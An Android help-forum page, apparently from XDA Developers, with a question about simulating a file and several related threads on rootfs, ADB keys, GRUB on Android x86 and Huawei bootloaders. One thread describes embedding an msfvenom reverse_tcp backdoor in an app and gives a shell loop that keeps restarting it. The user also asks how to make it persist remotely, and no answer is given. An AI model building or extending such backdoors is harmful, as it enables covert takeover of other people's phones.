[noob question] "simualte" file on android / java - Android Q&A, Help & Troubleshooting

hi @ all
for my project i need to "simualte" a file in android / java and i don't know if this is possible?
what i want to do:
- create a file (eg /sdcard/test.txt)
- everytime when the system or another app wants to read form /sdcard/test.txt i should receivec an event / call and can send requestet bytes
is this even possible?
kind of the /dev/random file...

Questions or Problems Should Not Be Posted in the Development Forum
Please Post in the Correct Forums
Moving to Q&A

Related

[Q] rootfs ("/" partition) - a couple of questions

Hello all,
I have a couple of questions regarding the rootfs ("/" partition).
1. When I use adb I can write files to /. Where are they (physically) stored?
(I was able to write files of total size as large as ~300M.)
2. The content of / is recreated on every reboot. Which "process" is responsible for that?
Thanks!
Alexei.
Found the answer here.

[Root] ADB Key Sync for GSI's

Hey guys.
On my old SM-J730G device, some ROMs did not have the confirmation dialog for ADB certificates. This prevented me from connecting to the shell, getting logcat output, etc.
To resolve, I needed to copy the certificate to the device, install a root file manager, and copy the file to / data / misc / adb / adb_keys.
Well, I developed an application that helps in this process. Your requirements are only to have the device rooted and to have copied the adbkey.pub file to the device. The app will assist in the implementation of the same.
Download: https://play.google.com/store/apps/details?id=com.gobrito.adb_keys
Screenshots on Play Store page
Created with Flutter
NOTE: if you are in the wrong area, I ask you to move the topic to the correct area, and sorry for the inconvenience, this is my first topic.

Android persistent script backdoor

Hi,
I am using msfvenom, on Kali, to embed a payload in an app.
When the app launches it starts the backdoor reverse_tcp service which connects to my session.
Once I have a meterpreter session I try to run a shell script, in the background, to constantly try and reconnect when/if the app closes.
This is a method suggested in may places, e.g. Android persistent script
All the examples I found refer to a stand-alone payload, not an embedded one.
To run the embedded service you need to use
Code:
am startservice --user 0 ...
After uploading my script to the android, I try and run my script on a meterpreter session line this:
Code:
>shell
>sh persistent.sh
>CTRL + C
>ENETR
For testing I created a simple running script
Code:
#!/bin/bash
for i in `seq 100`
do
echo $i
let j=$i-1
oldFile="xtest$j"
newFile="xtest$i"
#echo $oldFile
if [ -f "$oldFile" ]; then
rm $oldFile
fi
am startservice --user 0 by.dustteam.hangman/.lnyec.Mhxvk
touch $newFile
sleep 5
done
As long as the app is running, I see that the script is running, however when I close the app the script terminates.
I am testing on android 10.
Can I, and if yes how, generate a persistent script to keep trying to establish a connection, or do this in any other way?
I need to do this remotely of course, assuming I do not have physical access to the android device.
Thanks
dandan21 said:
Can I, and if yes how, generate a persistent script to keep trying to establish a connection, or do this in any other way?
Click to expand...
Click to collapse
@dandan21
Prior to your next posting please read the guidances that are stuck on top of every forum like
[ATTN] : Read before posting - Any questions posted here will be MOVED or CLOSED
Please read the below before posting. Any questions not development related will be moved or closed. Forum Searching | Posting | The Basics: (Make sure you've read them before starting a new thread) Forum Rules Forum Search Google Forum...
forum.xda-developers.com
and the others. Your thread doesn't qualify for a development section. I've moved the thread to Android Q&A.
Thanks for your cooperation.
Regards
Oswald Boelcke
Senior Moderator

[SOLVED] Unable to locate GRUB on Android x86

Hello everyone,
Glad to be here! This is my first time posting on the forum, I apologise in advance if I inadvertently break any rules.
I have installed Android x86 9.0_r2 in a virtual machine using the virt-manager application (QEMU/KVM connection) on Ubuntu 22.04, and I installed it using the ISO and manually selecting the OS as Android x86 9.0. Upon booting, I see a Trusted GRUB 1.1.5 menu and I am able to boot Android x86.
However, my resolution is stuck in 1024x768, and I have to manually edit the GRUB entry and add 'vga=914' after the kernel option to boot with a resolution of 1920x1080.
I read some forum posts stating that the GRUB boot options are located in either a 'menu.lst' file or an 'Android.cfg' file, so I opened the terminal emulator and ran the following commands to find these files in the root directory or sub directories. I also searched for the GRUB directory directly.
su
find / -iname menu.lst -type file -mindepth 100
find / -iname android.cfg -type file -mindepth 100
find / -iname grub -type directory -mindepth 100
However, these commands did not yield any results. So I decided to use grep to try and find the statements present in the boot commands in any of the files present in the system. I decided to search for the statement "root=/dev/ram0", so I ran the following commands to run grep recursively and print the filename where the given text occurs, ignoring errors and binary files:
su
grep --exclude-dir /proc -sIrl "root=/dev/ram0" /
This search took too long, so I narrowed my search to the term "ram0" and checked individual directories instead. However, there were no readable text files containing the boot menu configuration.
Am I making a mistake in any of these commands? Where is the GRUB configuration file located? Please feel free to ask for any additional information to troubleshoot this problem.
Thank you in advance for your help and have a nice day.
kb_android_x86 said:
Hello everyone,
Glad to be here! This is my first time posting on the forum, I apologise in advance if I inadvertently break any rules.
Click to expand...
Click to collapse
Hello and good morning, @kb_android_x86
Welcome to XDA. I hope you'll always get the support you require.
However, prior to your next posting please read the guidances that are stuck on top of every forum like
[Read Before Posting]QUESTIONS DO NOT BELONG IN GENERAL
Hello Everybody, In order to attempt to keep this forum neat and tidy the moderation team is asking you to post your questions into the Questions and Answers (Q&A) forum and not into the General section. You can find the Q&A forum by clicking...
forum.xda-developers.com
and the others. I've moved your thread to Android Q&A.
Thanks for your cooperation!
Regards
Oswald Boelcke
Senior Moderator
Hello everyone,
I have found the solution to this problem.
To access the GRUB configuration files, you must boot Android x86 in Debug mode, and then type the following commands into the terminal:
mount -o remount rw /mnt
cd /mnt/grub
vi menu.lst
Then you can edit the GRUB configuration permanently. I am unsure why these files are hidden when booting Android x86 normally, even when I browse the filesystem with root privileges enables.

Huawei MediaPad T3 10 AGS-L09

Hi everyone!
How can I get the bootloader unlock code? I wrote to Huawei and they wrote: "..., Huawei has decided to terminate the unlock code application service, the unlock code application service was terminated. ..."
Is it possible to unlock the bootloader without a code or get it somehow (for free)?
I extracted the boot file and edited the fstab file, like this, but I don't know what it's good for: (
Huawei MediaPad T3 10 (AGS-W09 & AGS-L09)
Huawei MediaPad T3 10 (AGS-W09 & AGS-L09) On Huawei website: http://consumer.huawei.com/en/tablets/mediapad-t3-10/ ROM stock: AGS-W09: AGS-W09_AGSW09C233B215 AGS-L09: AGS-L09_AGSL09C233B216 Custom Recovery: In English: TWRP...
forum.xda-developers.com
)
/ dev / block / bootdevice / by-name / userdata / data f2fs nosuid, nodev, noatime, discard, inline_data, inline_xattr wait, check, fileencryption
/ dev / block / bootdevice / by-name / userdata / data f2fs nosuid, nodev, noatime, discard, inline_data, inline_xattr wait, check
(deleted the "fileencryption" part)
What happens if I flash the modified boot file?
NayemUM said:
Hi everyone!
How can I get the bootloader unlock code? I wrote to Huawei and they wrote: "..., Huawei has decided to terminate the unlock code application service, the unlock code application service was terminated. ..."
Is it possible to unlock the bootloader without a code or get it somehow (for free)?
I extracted the boot file and edited the fstab file, like this, but I don't know what it's good for: (
Huawei MediaPad T3 10 (AGS-W09 & AGS-L09)
Huawei MediaPad T3 10 (AGS-W09 & AGS-L09) On Huawei website: http://consumer.huawei.com/en/tablets/mediapad-t3-10/ ROM stock: AGS-W09: AGS-W09_AGSW09C233B215 AGS-L09: AGS-L09_AGSL09C233B216 Custom Recovery: In English: TWRP...
forum.xda-developers.com
)
/ dev / block / bootdevice / by-name / userdata / data f2fs nosuid, nodev, noatime, discard, inline_data, inline_xattr wait, check, fileencryption
/ dev / block / bootdevice / by-name / userdata / data f2fs nosuid, nodev, noatime, discard, inline_data, inline_xattr wait, check
(deleted the "fileencryption" part)
What happens if I flash the modified boot file?
Click to expand...
Click to collapse
Hello and good afternoon, @NayemUM Welcome to XDA! I hope you'll always get the support you require.
However, prior to your next posting please read the guidances that are stuck on top of every forum like
[Read Before Posting]QUESTIONS DO NOT BELONG IN GENERAL
Hello Everybody, In order to attempt to keep this forum neat and tidy the moderation team is asking you to post your questions into the Questions and Answers (Q&A) forum and not into the General section. You can find the Q&A forum by clicking...
forum.xda-developers.com
and the others. I've moved your thread to Android Q&A.
Thanks for your cooperation!
Regards
Oswald Boelcke
Senior Moderator

Categories

Resources